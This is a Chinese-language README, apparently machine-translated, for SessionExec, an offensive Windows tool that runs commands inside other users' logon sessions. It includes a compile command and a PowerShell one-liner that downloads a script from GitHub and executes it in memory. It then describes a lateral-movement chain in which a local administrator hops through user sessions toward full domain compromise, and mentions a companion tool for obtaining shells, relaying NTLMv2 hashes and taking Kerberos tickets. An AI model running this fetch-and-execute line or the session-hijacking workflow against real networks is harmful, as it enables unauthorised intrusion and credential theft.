SessionExec 可讓您在 Windows 系統上的其他會話中執行指定的命令,可針對特定會話 ID 或所有會話,並可選擇抑制命令輸出。
該工具的靈感來自於 James Forshaw 很久以前發布的 EOP COM Session Moniker 漏洞程式碼。
SessionExec 利用 Windows API 來查詢會話資訊並在這些會話中建立進程。
從 Visual Studio 的建置工具執行以下命令編譯 SessionExec.cs
csc /reference:System.Runtime.InteropServices.dll /reference:System.Runtime.InteropServices.RuntimeInformation.dll SessionExec.cs /out:SessionExec.exe
或者您可以使用Invoke-SessionExec.ps1
,它是相同的腳本,但使用反射載入方法在記憶體中執行。
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/SessionExec/main/Invoke-SessionExec.ps1')
您還可以在此處找到由 The-Viper-One 編碼的該工具的純 powershell 實現
SessionExec.exe[/NoOutput]
Invoke-SessionExec[/NoOutput]
使用quser
指令檢查哪些會話可用。然後在特定會話或All
會話上執行命令。
如果您發現自己是網路中一台或多台電腦上的本機管理員,而這些目標上有使用者會話,則可以一起使用SessionExec 和Find-LocalAdminAccess 來檢查這些使用者中是否有任何使用者對網路中的其他電腦具有本機管理員存取權限網路。
如果是這樣,您可以為在這些電腦上進行會話的使用者重複此過程。從理論上講,這一系列操作可能會導致整個領域的洩漏。
此外,您可以使用 Amnesiac 獲取 shell、捕獲 NTLMv2 哈希值並中繼它們、獲取 TGT 等等,所有這些都以自動化的方式進行。
我將把這個概念實現到 Amnesiac 中,並且我們正在與 The-Viper-One 一起努力將它實現到 PsMapExec 中。
目前,這是一個概念驗證 (PoC):